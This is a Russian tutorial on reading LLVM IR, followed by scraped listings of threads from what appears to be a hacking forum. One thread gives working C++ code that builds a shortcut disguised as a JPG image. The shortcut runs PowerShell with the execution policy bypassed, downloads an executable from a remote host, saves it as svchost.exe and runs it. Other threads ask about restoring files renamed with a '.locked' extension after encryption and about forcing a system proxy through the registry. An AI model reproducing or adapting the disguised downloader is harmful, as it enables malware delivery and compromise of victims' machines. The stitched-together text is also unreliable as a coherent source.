Часто, LLVM относится только к оптимизатору и бэкенду Clang. Это можно рассматривать как компилятор для «языка LLVM» или «ассемблера LLVM». Фактически, Clang, как и другие фронтенды вроде Rust, компилируют в LLVM IR, который затем компилирует все в машинный код.

LLVM IR широко распространен и... в известной мере, стабилен, что делает его очень хорошим инструментом для компиляций, поскольку разработчики языка могут сэкономить тысячи вложенных в него часов. Источником истины в вопросе «что такое LLVM IR?» является LangRef.

LLVM IR имеет также бинарный формат (иногда называемый «биткодом»), хотя мы будем работать исключительно с его текстовым форматом (который использует расширение .ll).

LLVM-ориентированные компиляторы будут иметь флаги отладки, заставляющие их выводить ПП вместо конечного результата. К примеру, для Clang это выглядит так: clang++ -S -emit-llvm foo.cc, когда для Rust это: rustc --emit=llvm-ir foo.rs. Godbolt также способен воспроизвести данные указания и верно отобразить конечный результат LLVM IR.

Вернемся к базовым блокам

LLVM IR может быть довольно пугающим при чтении, поскольку содержит намного больше вспомогательной информации чем дамп сборки. Рассмотрим это значение:

14.png

Если вы нажмете на виджет “Godbolt”, вы попадете на его сайт, где он производит это значение в LLVM IR. Большая часть кода это просто метаданные, но выглядит по-настоящему жутко!

Начиная с выходных данных компилятора, кривая сложности будет крутой, потому что нам придется столкнуться со всеми трудностями LLVM IR. Для Rust, это, скорее всего, будет означать столкновение с обработкой исключений, функционированием атрибутов, которые обеспечивают его гарантии для LLVM (к примеру, необнуленные указатели), а также с тем, каким образом реализованы паники.

Но начнем мы со знакомства с базовым синтаксисом LLVM IR, и только потом займемся чтением выходных данных.

Элементарное значение

Основой LLVM IR являются определения значений, представленные командой define. Также присутствует команда declare, которая имеет ту же цель, что и значение не имеющее тела в языке C: она вводит внешний символ в поле видимости.

К примеру, она не получает аргументов и сразу проводит возврат:

2.png

Тип возвращаемого значения (void) идет сразу за ключевым словом define. Значение начинается с @, что напоминает нам принцип сигилов: каждый задаваемый пользователем символ начинается с сигила, обозначая какого вида является этот символ. @ используется для глобальных переменных и значений: для того, к чему вы можете обратиться (когда @ используется с переменными, они всегда используются с типизацией ptr)

Тело значения похоже на ассемблер: список меток и команд. Однако, в отличии от стандартного ассемблера, существуют значительные ограничения в структуре этих команд.

В данном случае, у нас только одна команда: возврат с void типизацией. В отличие от большинства языков-ассемблеров, LLVM IR сильно типизирован и почти везде запрашивает точную сигнатуру типа.

Вот еще одно элементарное значение.

3.png

Это значение спровоцирует неопределенное поведение: команда unreachable предоставляет путь выполнения кода, который для компилятора может показаться не исполненным; это, к примеру, не похоже на нереализованную команду ud2 в архитектуре x86, которая гарантированно выдаст ошибку.

Это является важным отличием между LLVM IR и любым другим языком-ассемблером: некоторые операции специально оставлены неопределенными для освобождения места приоритетным оптимизациям. Например, LLVM IR может вести себя так, потому что команда @do_not_call сразу провоцирует неопределенное поведение. Все вызовы этой команды являются также недоступными (и начиная с нее создают недоступность).

Код скалярного типа

Начнем с базовых значений, которые могут выполняться только с целыми числами. Рассмотрим следующее значение, которое возводит 32-битное целое число в квадрат:

5.png

Сейчас наше значение получает аргумент и содержит несколько команд.

Аргумент указан как i32 %x. А имена с сигилом % являются чем-то вроде локальных переменных, но с некоторыми ограничениями, что делает их более поддатливыми для оптимизации. Как мы увидим дальше, это не совсем «переменные». Иногда, LLVM называет их регистрами ; в каком-то смысле, LLVM IR это ассемблер для абстрактных машин с бесконечным количеством регистров. Далее в этой статье, %-присвоенные имена я буду называть «регистрами».

i32 это примитивные типы целых чисел. Все типы целых чисел в LLVM имеют форму iN для всех N (даже не кратных восьми). Здесь нет знаковых или беззнаковых типов, вместо этого, команды которые относятся к «знаковости» определяют используемую ими семантику.

Первая команда это mul i32, которая возводит два i32 операнда вместе и производит возврат значения, а мы назначаем ему новый регистр %11[1]. Следующая команда возвращает это значение.

Остальные операторы арифметических вычислений имеют ожидаемые вами названия: add, sub, and, or, xor, shl (сдвигает результат смены битов влево). Также существуют две команды для деления и остатка, знаковые (sdiv, srem) и беззнаковые (udiv, urem). И две команды для сдвига вправо, опять-же, знаковая (ashr) и беззнаковая (lshr).

Задача для читателя: почему /, %, и >> единственные операции для знаковых и беззнаковых версий?

Мы можем также конвертировать из одного типа целых чисел в другой, используя trunc, zext, и sext, которые отсекают, расширяют до нуля и повышают кол- во битов (sext и zext еще одна знаковая/беззнаковая пара). К примеру, если мы хотим чтобы значение square не переполнилось, мы можем написать:

6.png

Здесь мы переводим %x в i64 путем повышения кол-ва битов (поскольку мы решили что возводим в квадрат целые числа) и затем возводим в квадрат имеющийся результат. trunc и zext имеют такой-же синтаксис, как и sext.

«Я еще вернусь»

Разумеется, что интересующая нас функция имеет поток управления. Представьте, что нам требуется функция безопасного деления. Так как деление на ноль вызывает неопределенное поведение, нам нужно провести его с точностью.

Получается что-то вроде этого:

7.png

Мы могли-бы попробовать select («тернарный» оператор LLVM).

8.png

Однако, здесь мы сталкиваемся с проблемой: деление на ноль = неопределенное поведение[2], а select не проводит вычислений по сокращенной схеме (его семантика ближе к семантике cmov в архитектуре x86).

Чтобы все верно скомпилировать, следует использовать команду br, которая представляет общую операцию ветвления[3]. В терминалах языка С, br i1 %cond, label %a, label %b равняются if (cond) goto a; else goto b;.

Вот как мы могли-бы это написать:

9.png

Теперь у нашей функции есть метки, которые используются командой br в качестве меток перехода.

В первом блоке мы проведем проверку d == 0, вызываемую командой icmp eq. Она проводит возврат i1 (типа LLVM, который используется для булевских значений). Затем передаем результат br, которая переходит к первой метке в случае, если та является нулем, в любом другом случае – ко второй.

Второй блок – это блок предварительных возвратов. Он проводит возврат «контрольного» значения. Третий не требует объяснений.

Каждый из них является «базовым»: последовательный поток неконтролируемых операций вместе с командой, которая выводит управляющий поток из блока. Эти блоки формируют граф потока управления (ГПУ) функции.

Вот также несколько команд «блока-терминатора». Форме br с одним аргументом присвоена одна метка и простая безусловная команда goto. Тут также используется switch, что схожа со switch в языке С:

10.png

switch должна иметь целочисленный тип. Хоть вы и могли-бы отобразить эту операцию с цепочкой br-ов, команда switch облегчит LLVM генерацию таблиц переходов.

Команда unreachable, что мы видели ранее, является особым ограничителем, не вызывающим управляющую конструкцию, но она может завершить блок при достижении им неопределенного поведения. Что, например, является равноценным команде std::unreachable() в языке C++.

LLVM удалил мой код!

Команда unreachable является хорошим примером того, почему LLVM использует базовый блок ГПУ. Вот простейший этап оптимизации удаления мертвого кода:​

1. Заполните группу каждым блоком, который заканчивается на unreachable.​

2. Если ограничитель каждого блока ссылается на недоступную группу, удалите эту метку из ограничителя. К примеру, если у нас есть br i1 %c, label %a, label %b и недоступная группа содержит %a, то мы можем заменить его на br label %b.​

3. Если каждое исходящее соединение от блока удалено на 2 пункте, то замените ограничитель командой unreachable.​

4. Удалите все блоки в недоступной группе.​

5. Повторите процедуру столько раз, сколько пожелаете.​

Шар из unreachable по наитию взлетает до ГПУ, растворяя в себе его части. Остальные пути доступа, могут генерировать некоторое кол-во unreachable и отобразить неопределенное поведение. Это взаимодействие вместе с процедурой удаления мертвого кода является причиной для фразы «компилятор удалит ваш код».​

Текущий путь доступа к удалению мертвого кода более сложен, поскольку вызовы функций затрудняют понимание того, является-ли блок «чистым», и соответственно прозрачно удаляемым.​

Но что если мы хотим произвести что-нибудь более сложное, вроде a / b + 1? Это выражение имеет промежуточный результат, поэтому мы не можем использовать два возврата, как раньше.

Работать с этим не так-то просто: если мы попытаемся назначить один и тот-же регистр в разных блоках, то верификатор IR пожалуется. Это подводит нас к концепции статического одиночного присвоения.

Враки! Враки!

LLVM IR это единственное статическое присваивание (ЕСП). Появилось LLVM IR в начале столетия для создания современного ЕСП-оптимизатора в качестве учебного проекта. ЕСП сегодня – широко популярно для оптимизации императивного кода.

ЕСП означает, что каждому регистру присвоено не более одной команды на функцию. Разные исполнения одного и того же блока в одной и той же функции могут производить разные значения для определенных регистров, но мы не можем модифицировать те регистры, которым уже присвоена команда.

Другими словами:

1. Каждый регистр гарантированно будет инициализирован одним-единственным выражением.

2. Каждый регистр зависит только от значений регистров, присвоенных до его определения.

Здесь присутствует множество полезных функций для написания оптимизаций. К примеру, внутри простого блока, каждое использование определенного регистра %x всегда относится к одному значению, которое делает такие оптимизации как: «глобальное вычисление значений» и «сворачивание констант», более простыми для написания, поскольку здесь не требуется отдельно отслеживать состояние каждого регистра по всему блоку.

В ЕСП мы рассматриваем модификацию как множество версий одной переменной. Так, мы можем понизить x += y как:

11.png

Здесь мы использовали соглашение var.n для определения версии переменной, которую представляет указанный регистр. (LLVM не обеспечивает никаких соглашений о наименованиях).

Однако, при появлении циклов становится неясно, как управлять версиями, ведь количество регистров в функции статично, а количество цикличных итераций динамично.

Как конкретно мы реализуем эту функцию?

12.png

Мы могли-бы попробовать так:

13.png

Но тут есть проблема! Какие определения для %r и %i являются настоящими? Верификатор ПП пожалуется, что эти регистры зависят напрямую сами от себя, что является нарушением в ЕСП. Так как правильно воспроизвести эту функцию?

Одним из выходов может быть обращение к LLVM! Мы неправильно реализуем эту функцию и позволим оптимизатору подчистить ее для нас.

Сначала для проведения модификации, давайте напишем функцию, используя такие операциии по управлению памятью, как load-ы и store-ы. Мы можем использовать команду alloca для создания слотов стека неизменного размера. Эти команды производят возврат ptr [^clang-codegen].

Clang намусорил, а LLVM за ним подчистил

Кстати, именно так Clang и Rust генерируют LLVM IR: переменные стека преобразуются в alloca-и и управляются через загрузки и хранилища. Временные переменные в основном превращаются в %regs-ы, но иногда компилятор генерирует дополнительные alloca-и чтобы долго не думать о необходимости создания команд phi.​

Это довольно удобно, ведь позволяет не задумываться об ЕСП за пределами LLVM, а LLVM в свою очередь может с легкостью избавиться от ненужных alloca-ов. Код, который я написал для кодогенерации из @pow очень схож с тем, что Rust отправил-бы в LLVM (хотя из-за использования итератора, там присутствует слишком много произведенного Rust-ом мусора, с которым LLVM придется справляться.)​

15.png

Затем, мы можем передать это оптимизатору LLVM. Команда opt, являющаяся частью дистрибуции LLVM, запускает определенные проходы оптимизатора в ПП. В нашем случае, мы хотим opt -p mem2reg, которая запускает одиночный проход «память- регистр». Мы также можем запустить opt --O2 или похожую для получения аналогичной оптимизации[4], что запускает clang -O2.

Вот результат:

16.png

alloca-и изчесли, но мы встретились с новой командой: phi. «φ-узел» это жаргонная форма из документов ЕСП. Греческая буква φ означает «врун, обманщик, жулик». Эти команды выбирают значение из списка на основе того, из какого базового блока к какому блоку мы перешли.

Например, в phi i32 [0, %start], [%i.new, %loop] говорится: «это значение должно быть 0, в случае если мы пришли из начального блока, в любом другом случае %i.new, если пришли из %loop».

В отличии от других команд, phi может относиться к неустановленным значениям во всех блоках, доминирующих в текущем блоке. Это позволяет нам иметь динамическое количество версий переменных! Вот как это выглядит в контексте динамического исполнения.

Блок %a доминирует над блоком %b если каждый из предыдущих блоков является %a или блоком в котором доминирует %a. Другими словами, каждый путь из первого блока к блоку %b проходит через блок %a. В общем, команды могут относиться только к значениям определенным предыдущими командами в конкретном блоке или значениям из других блоков, доминирующих над оным.

1. %start переходит прямо в %loop_start. Первый блок не может быть целью перехода, пока он не имеет нод phi, потому что предыдущие блоки включают в себя место вызова функции.

2. С того момента, как мы вывели %loop_start из %start, %i.0 и %r.0 были выбраны в качестве первых версий (теоретических) переменных I и r, то есть их изначальных значений, мы переходим к %loop.

3. После того, как %loop_start доминирует над %loop, мы можем прямо использовать %i.0 и %r.0 (это является операциями *= и +=). И затем мы снова возвращаемся к %loop_start.

4. Вернувшись в %loop_start, phi-сы теперь выбирают %i.new и %r.new, так что %i.0 и %r.0 теперь являются вторыми версиями I и r. В ходе индукции, N-ное количество исполнения %loop_start будет иметь N-ное количество версий Iи r.

5. Когда мы, в конце концов доберемся до %exit, мы можем использовать %r.0 (поскольку над ним доминирует %loop_start), что будет являться %y-нными версиями r. Это наше значение возврата.

Здесь стоит остановиться и подумать о том, что мы сделали. ЕСП, доминация и phi-сы могут не уложиться к вас в голове и они являются необходимыми для чтения большинства ПП. Но это является очень ценным знанием, потому что затрагивает то, как компиляторы видят код[5].

Вместе с phi и br, мы сможем построить поток управления любой сложности внутри функции[6].

Типы и агрегаты

Теперь, когда мы рассмотрели основные скалярные функции, давайте коснемся системы типов LLVM.

Мы рассмотрели i32 и соответствующих ему. Они имеют произвольные биты с целыми числами. I1 особенный, потому что является логическим типом. Оптимизации LLVM известны своими генерациями целочисленных типов с размерами отличными от степени двойки.

LLVM также имеет float и double, вместе с несколькими особенными float-типами, как bfloat. Они используют собственные арифметические команды с различными опциями. Я расскажу о них далее; для большей информации рассмотрите fadd и подобные по ссылке: LangRef.

Мы также ознакомились с void, которая используется в качестве возвратного значения, а также ptr используемый как безтиповый[7] указатель.

Вместе с тем рассмотрели псевдо-тип label, представляющий метку блока. Он не отображается в момент использования и имеет ограниченный спектр действия (аналогичные с ним: token и metadata).

Массивы пишутся так: [n x T]. Число должно быть целым и его тип должен иметь определенный размер (пример: [1024 x i8]). Массивы нулевого размера также поддерживаются.

Структуры выглядят так: {T1, T2, ...} (пример: {i64, ptr} это из Rust). Поля структур не имеют названий, вместо этого они индексируются. Форма <{...}> это упакованная структура, которая удаляет заполнение между полями (пример: #[repr(packed)] компилируется до такой формы).

Векторы похожи на массивы, но пишутся так: <n x T>. Эксплуатируются для представления типов используемых в SIMD (ОКМД) операциях. Например: добавление двух <4 x i32> понижает векторное добавление AVX2 на архитектуре x86. Я не буду затрагивать SIMD в этой статье, хотя на более высоких уровнях оптимизации, LLVM объединит скалярные операции с векторными, так что вы можете с ним встретиться.

Псевдонимы типов могут быть созданы в области действия файла с помощью синтаксиса:

23.png

Это означает, что %T может быть как типом, так и регистром/меткой внутри функции, в зависимости от синтаксической позиции.

Операции с агрегатами

insertvalue и extractvalue могут использоваться как со структурным, так и с типом массивов для статического доступа к полю. Например:

24.png

insertvalue наоборот производит копию агрегата с особым измененным полем. Оно НЕ модифицируется, потому что ЕСП не позволяет это сделать.

25.png

Вот похожие операции: insertelement и extractelement работающие с векторами, но имеющие немного другой синтксис и семантику.

И наконец, - getelementptr, «арифметическая команда с указателем». Часто сокращается до GEP и может использоваться для вычисления смещенного указателя в структуре. Например:

26.png

Она принимает указатель, который якобы указывает на индекс и массив из %MyStructs-ов. Также производит возврат указателя в поле i64 %idx-го элемента %p.

Несколько важных различий между GEP и extractvalue:

1. Принимает безтиповый указатель вместо значения конкретного типа структуры/массива.

2. Существует дополнительный параметр определения индекса: с точки зрения GEP, каждый указатель - это указатель к массиву с неопределенной привязкой. Проводя операции с указателем, который не указывает (в момент работы) на массив, все равно будет запрашиваться индексный операнд равный нулю. В качестве альтернативы, можете рассмотреть указатель к T, как указатель к одноэлементному массиву.

3. Параметры индекса требуют точности типов.

LLVM предлагает полезное[8] FAQ об использовании GEP: https://llvm.org/docs/GetElementPtr.html.

Другие операции

Остальные операции очень актуальны для чтения ПП, но они не попадают ни под одну определенную категорию. Как всегда, LangRef предлагает полное описание их функционала.

Вызовы функций

Команда call вызывает любую ptr в качестве функции. Например:

27.png

Заметьте, что вместо @global могло быть %reg, что означает вызов указателя функции.

Иногда, вы будете видеть invoke, используемую для «реализации функции внутри блока C++ try {}». В Rust это встречается редко, но может появиться в некоторых кодах языка C++.

Вызовы функций часто являются замусоренными областями ПП, потому что они слишком аннотированы.

Синхронизация

Ранее рассмотренные команды load и store могут быть аннотированы как atomic, используемая для реализации, например: AtomicU32::load в Rust. Это также требует определения атомарного порядка. Пример:

28.png

Операция fence это главная барьерная операция с памятью, относящаяся, например, к функции Rust: std::sync::atomic::fence.

сmpxchg производит элементарную операцию сравнения с обменом (ССО). Она возвращает {T, i1} вместе с предыдущим значением и информацию о том, успешно-ли прошла ССО. cmpxchg weak реализует примитив “weak CAS” вызывающий ложный сбой.

В конце концов, atomicrmw атомарно проводит цикл чтения-модицикации и записи (пример: *p = op(*p, val)). Используется для реализации функции AtomicU32::fetch_add и подобных.

Все эти операции кроме fence, могут быть отмечены как volatile. В LLVM IR, как и в Rust, но не в C/C++, одиночные загрузки и хранилища являются изменчивыми (оказывают на компьютер невидимые для него побочные действия). volatile можно совместить с атомарными операциями (пример: load atomic volatile), хотя большинство языков не предоставляют такую возможность (кроме старых версий C++).

Перетолкование сложных махинаций

bitcast это то, во что в конечном счете компилируются mem::transmute и reinterpret_cast в Rust и C++ соответственно. Она может конвертировать любой неагрегатный тип (целые числа, векторы) в любой тип с сохранением той-же ширины бита. Например, ее можно использовать для получения битов значения с плавающей точкой:

29.png

Она также использовалась для приведения типов указателей (например: из i32* в i8*). Сейчас все указатели безтиповые (ptr), поэтому в ней нет необходимости.

Однако, bitcast не может выполнять преобразование между указателями и целочисленными данными. Для этого нам следует использовать команды inttoptr и ptrtoint[9]. Они имеют одинаковый синтаксис, но взаимодействуют со схематической семантикой преобразования указателя в целое число и происхождения указателя. Эта часть семантики LLVM походит на длительное горение мусора. Посмотрите пост Ральфа Юнга о знакомстве с этой проблемой.

Встроенные функции

В LLVM существует также большое количество внутренних функций, которые описаны в LangRef. Например, если мы хотим провести встроенное memcpy (копирование памяти), то мы можем обозначить это с помощью команды declare:

30.png

Все внутренние функции LLVM начинаются с llvm.: и для рассмотрения всех у нас не хватит никакой статьи.

Я также не берусь за обсуждение плавающей точки, SIMD (ОКМД) и обработку исключений. Каждая из этих тем требует написания отдельной статьи!

Неопределенное поведение

LLVM существует для геренации оптимизированного кода, и оптимизации требуют чтобы мы описывали некоторые состояния машины как «невозможные», таким образом мы сможем определить когда нам необходимо упростить код. Это является «неопределенным поведением».

Например, мы уже сталкивались с unreachable, что как предполагает LLVM не может быть выполнено. Деление на ноль и попытка доступа к памяти за пределеами допустимых значений тоже являются неопределенным поведением.

Большинство факторов LLVM UB основаны на концепции «отравленных значений». «Отравленное значение» воспринимается как «принятие каждого значения только один раз» в зависимости от того, что для данной оптимизации более удобно в данный момент без учета других проходов. Это означает, что если при оптимизации не обнаруживается сбоев, то с точки зрения LLVM выдать вам «мусорные значения» будет считаться нормальным. Чаще всего это заметно при -O0, которая проводит минимальную оптимизацию.

Использование «отравленных значений» как указателя в load, store или call считаются неопределенным поведением, потому что LLVM может определить их как нулевой указатель. Они также не могут быть знаменателями к udiv и подобным. Добавление т.н. «яда» в br или switch тоже считается неопределенным поведением.

LLVM может выполнить анализ потока данных для определения операций с «отравленным значением» от которых происходит неопределенное поведение, и таким образом предположить что эти операции не могут являться его источником. Это происходит потому что все операции (кроме phi и select) приводят к сбою, а противоположное суждение LLVM только позволяет распространять его дальше. Вот откуда появляется так называемое «путешествующее во времени неопределенное поведение».

Множество операций приводят к сбою. В языке C, например, знаковое переполнение является неопределенным поведением, поэтому добавление заменяется на add nsw (nsw означает «оболочка без подписи»). И вместо того, чтобы завершить работу при переполнении, команда дает сбой. Вот также неподписанная версия аннотаций: nuw.

Другие операции имеют «менее определенные» версии, которые либо генерируются оптимизаторами, либо вставляются непосредственно компилятором, что в свою очередь вызывает LLVM в том случае, если правила языка позволяют (см. C выше). Прилагаю пару примеров:

1. udiv и другие имеют точную аннотацию, которая требует чтобы деление имело нулевой остаток, либо дают сбой.

2. getelementptr имеет аннотацию inbounds, которая вызывает сбой в случае доступа за допустимыми пределами. Это меняет ее от чисто арифметической операции до еще одной точно соотносимой с арифметическими ограничениями указателя языка С. GEP без inbounds соответствует функции <*mut T>::wrapping_offset() в Rust.

3. Операции с плавающей точкой маркированные nnan и ninf вызовут сбой вместо NaN или бесконечного значения соответственно (либо же когда NaN или бесконечное значение являются аргументами).

Однако, создание сбоев это не неопределенное поведение, это только его использование. Это проще чем работа неопределенного поведения в большинстве языков. В языке С переполнение постоянно вызывает неопределенное поведение, но переполнение в LLVM которое никогда «не происходит» просто игнорируется. Это простейшая операционная семантика для определения правильности оптимизаций: неопределенное поведение чаще стоит рассматривать как побочный эффект, потому что компилятор сгенерирует код который введет программу в неработающее состояние. Например, деление на ноль станет причиной ошибок в множестве архитектур. Это оозначает, что операции ставшие причиной неопределенного поведения не всегда могут быть правильно упорядочены. Переставляя «причины неопределенного поведения» с «причинами сбоев» гарантирует то, что боьшинство операций являются чистыми и могут быть легко переупорядочены.

Чтение некоторых методов Codegen

Вернемся к первому примеру с Rust!

31.png
Виджет Godbolt

Это полученный результат с отредактированными метаданными и некоторыми изменениями для удобного чтения.

32.png

Основная функция это @_ZN7example6square17hb32bcde4463f37c3E, что является скоректированным названием example::square. Поскольку он был сгенерирован в режиме отладки, возникает паника при переполнении, поэтому для этого нужно сгенерировать еще код. Первая операция это call базовых функций LLVM для «умножения и сообщения о переполнении». Она возвращает равное значение (i32, bool), мы извлекаем оба значения с помощью extractvalue. Затем мы пропускаем тип bool через @llvm.expect, испольуемый для сообщения оптимизатору отработать ветку паники как «холодную». Основная ветка дает возврат произведения; если нет, мы идем к функции core::panicking::panic(), чтобы она провела панику в текущем потоке. Данная функция не дает возвратов, поэтому мы можем завершить блок с помощью unreachable.

Остальная часть файла состоит из:

1. declare-ы которые мы использовали для базовых функций LLVM.

2. declare для core::panicking::panic. Любая внешняя функция должна быть заdeclare-на. Также это дает возможность отключить атрибуты для функции.

3. Глобальные константы для core::panic::Location и сообщений о панике.

4. Атрибуты для выше описанных функций.

Сейчас как раз время отметить атрибуты. LLVM имеет в наличии все виды атрибутов которые могут быть помещены в функции (и вызовы функций) для записи необходимой информации об оптимизации. Например, @llvm.expect.i1 аннотирован как willreturn: это означает, что в конечном итоге эта функция проведет возврат, а также то, что если, например, любое неопределенное поведение появляющееся после функции, то оно гарантированно появится после окончания, поэтому LLVM может сделать заключение, что код является недостижимым несмотря на вызов @llvm.expect.i1. Полный список атрибутов огромен, но LangRef описывает их все!

Заключение

LLVM огромен и намного больше любой личной АРК(Архитектуры Системы Команд), потому что он захватывает любую интересную ему операцию. Он также имеет богатый язык аннотиций, поэтому проходы могут записывать информацию для использования ее будущими проходами. Его операционная семантика старается оставить достаточно пространства для осуществления оптимизации, в то же время убедившись что множество успешных оптимизаций в последствии не окажутся неудачными (последняя часть еще в стадии разработки).

Умея читать ассемблер, можно посмотреть что случится прямо во время выполнения кода, а чтение ПП перед и после оптимизации показывает как компилятор рассматривает ваш код. Использование opt для запуска индивидуальных проходов оптимизации также поможет для дальнейшего понимания (по сути, «разделение на проходах» мощнейшая техника отладки в разработке компилятора).

Я познакомился с компиляторами благодаря чтению LLVM IR. Надеюсь эта статья также вдохновит вас на изучение!


[1] Регистры внутри функций могут иметь числовое название. Они должны быть разделены по порядку: сначала %0 (будь то регистр или метка), затем %1, %2 и т.д. Часто, они используются для отображения «временных результатов». Если значение не устанавливает названия для своих параметров, им автоматически будут даны названия %0, %1 и т.д., что влияет на порядок использования вами точных чисел. Таким-же образом, если значение начинается не с метки, ему будет присвоено порядковое число в качестве имени. Это может стать причиной сплошной путаницы, ведь если у нас есть define void @foo(i32, i32) { ... }, то аргументы будут %0 и %1, но если мы попробуем написать %2 = add i32 %0, %1, то мы получим чудовищно запутанную ошибку парсера, потому что %2 уже используется как название для первого блока.

[2] По какой-то причине, оптимизатор не может понять, что select является избыточной. Alive2 (SMT-решатель для проверки правильности оптимизации) похоже, соглашается с правильностью оптимизации. Так что я решил поделиться этим багом. :D

[3] Если вы читали мою статью об ассемблере, вы вспомните, что там присутствет множество команд по ветвлению. В RISC-V мы имеем такие команды, как: beq, bne, bgt, и bge. Позже, в процессе компиляции после запуска оптимизатора, LLVM произведет выборку команд (isel) для определения лучших машинных команд и осуществления определенной команды LLVM (или последовательности команд), которые являются чрезвычайно контекстно- зависимыми. Например, мы хотим объединить icmp eq, за которым идет br, а результатом является beq. Команда Isel за пределами моего понимания и ее правильное выполнение является активным вопросом в сфере научных исследований.

[4] Не одно и то же. Фронтенды языков, типа Clang и Rust проводят собственные оптимизации. К примеру, у меня есть нерешенный баг, в котором LLVM не может концертировать && в & в некоторых случаях. Этого никогда не замечали, потому что Clang оптимизирует с помощью перехода от C/C++ к LLVM, а Rust нет.

[5] MLIR (Multi-Layer Intermediate Representative) – это более интуитивно понятная модель используемая в современных ПП. В ней вы не можете использовать переменные, которые были определены другими блоками. Вместо этого, каждый блок принимает ряд аргументов, прямо как вызов функции. Он аналогичен командам phi, за исключением того, что сейчас вместо выбора значения которое мы хотим использовать в качестве цели, каждый предшествующий блок определяет что он хочет отправить цели.
Если вместо этого, мы будем считать, что каждый блок имеет «аргументы», мы сможем переписать его в ниже показанном импровизированном синтаксисе, где имена регистров ограничены областью действия их блока.
17.png

[6] Как выглядит ГПУ? LLVM содержит в себе «оптимизационные» проходы, и выводит ГПУ в качестве файла с расширением .dot, который может быть произведен командой dot. Для @safe_div мы получаем что-то вроде этого:

19.png

Это помогает понимать сложные функции. Рассмотрите эту функцию шестнадцатеричного анализа в Rust:

18.png

Затем мы можем генерировать наш ГПУ с помощью внешних команд:

20.png

Получаем вот такой беспорядок:

21.png

Без оптимизации он будет еще больше (большинство этапов оптимизации, - это различные очистки ГПУ).

22.png

Задание: попробуйте отследить, через что работает каждый отдельный базовый блок. Для этого вам нужно открыть .svg-файлы (~~их нельзя загрузить на форум~~). Рекомендую использовать оптимизированную версию, потому что в ней меньше мусора. Сравнение оптимизированной и неоптимизированной версий позволяет увидеть, как компилятор упрощает то, что ему дает фронтенд языка. В –О0? все alloca-и, в –O2? ни одной!

[7] Когда-то давно мы имели дело с типовыми указателями, вроде i32*. Он создавал больше проблем чем решений, запрашивая множество запросов в ПП в обмен на посредственную сохранность типа. Пройдите по ссылке чтобы ознакомиться более детально.

[8] Сарказм.

[9] Я молча осуждаю LLVM за подобные названия, ведь int2ptr читается намного приятнее.

Книги по C & C++
ID: 6765d804b4103b69df375755
Thread ID: 105052
Created: 2024-01-03T20:57:38+0000
Last Post: 2024-01-03T21:16:42+0000
Author: anonx
Replies: 1 Views: 240

Хочу изучать С++
Какие соурсы порекомендуйте?

Морфинг C++ кода
ID: 6765d804b4103b69df375844
Thread ID: 80914
Created: 2022-11-30T17:52:42+0000
Last Post: 2022-12-19T15:58:51+0000
Author: Retail
Replies: 13 Views: 239

Спрошу, это круто но похоже на пермутатора исходника?

.LNK Powershell Downloader
ID: 6765d804b4103b69df375821
Thread ID: 81845
Created: 2023-02-13T01:27:26+0000
Last Post: 2023-02-13T01:27:26+0000
Author: netix
Replies: 0 Views: 238

Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded

Code:Copy to clipboard

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h> 
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h> 

void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
    IShellLinkW *psl;

    HRESULT hres;
    
    CoInitialize(NULL);
    
    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);

    if (SUCCEEDED(hres) && psl)
    {
        WCHAR wszLnkArg[MAX_PATH];
        
        wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");    

        psl->SetPath(L"%windir%\\System32\\cmd.exe");
        psl->SetIconLocation(lpIconFile, iIconIndex);
        psl->SetShowCmd(SW_SHOWMINNOACTIVE);
        psl->SetArguments(wszLnkArg);

        IPersistFile *ppf;

        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

        if (SUCCEEDED(hres) && ppf)
        {
            ppf->Save(lpLnkFile, TRUE);
            ppf->Release();
        }

        psl->Release();
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)    
{
    Sleep(2000);
    
    CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);

    return 0;
}

[/CODE
Найти процесс, который занимает файл (Windows XP)
ID: 6765d804b4103b69df375896
Thread ID: 71794
Created: 2022-08-16T17:03:38+0000
Last Post: 2022-08-29T18:06:42+0000
Author: CheckerChin
Replies: 4 Views: 238

Приветствую всех. Подскажите пожалуйста, как найти процесс, который занимает файл?
Знаю, что на windows vista+ можно делать через restartmanager. Как правильнее и без особых костылей сделать под windows xp примерно такое же?

Encryption/Decryption
ID: 6765d804b4103b69df375954
Thread ID: 58431
Created: 2021-11-02T14:40:04+0000
Last Post: 2021-11-02T14:40:04+0000
Author: Ghostmela
Replies: 0 Views: 238

Hello good people, I have an encryption method that encrypts multiple files with different extensions, on each encrypted file, i appended a .locked extension. I can only decrypt each file then set the outputfile to file.txt, .zip... Example.. Decrypt(File, outputfile.zip, password). My question is, how do i decrypt the files so it’s return to is normal extension like .doc, .txt, .zip without me adding it myself

[C#]Не работает настройка прокси сервера
ID: 6765d804b4103b69df3757f6
Thread ID: 86109
Created: 2023-04-17T22:52:12+0000
Last Post: 2023-04-18T20:22:20+0000
Author: Ags1of
Replies: 6 Views: 237

у меня есть такой код для настройки прокси в системе:

C#:Copy to clipboard

public static void NewSetProxy()

        {

            try

            {

                var proxyServerAddress = "127.0.0.1"; // адрес прокси-сервера

                var proxyServerPort = "8484"; // порт прокси-сервера

                RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                // Включить использование прокси-сервера

                registry.SetValue("ProxyEnable", 1);



                // Установить адрес и порт прокси-сервера

                registry.SetValue("ProxyServer", $"{proxyServerAddress}:{proxyServerPort}");



                // Применить настройки

                registry.Close();

                RefreshInternetSettings();





                ////RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

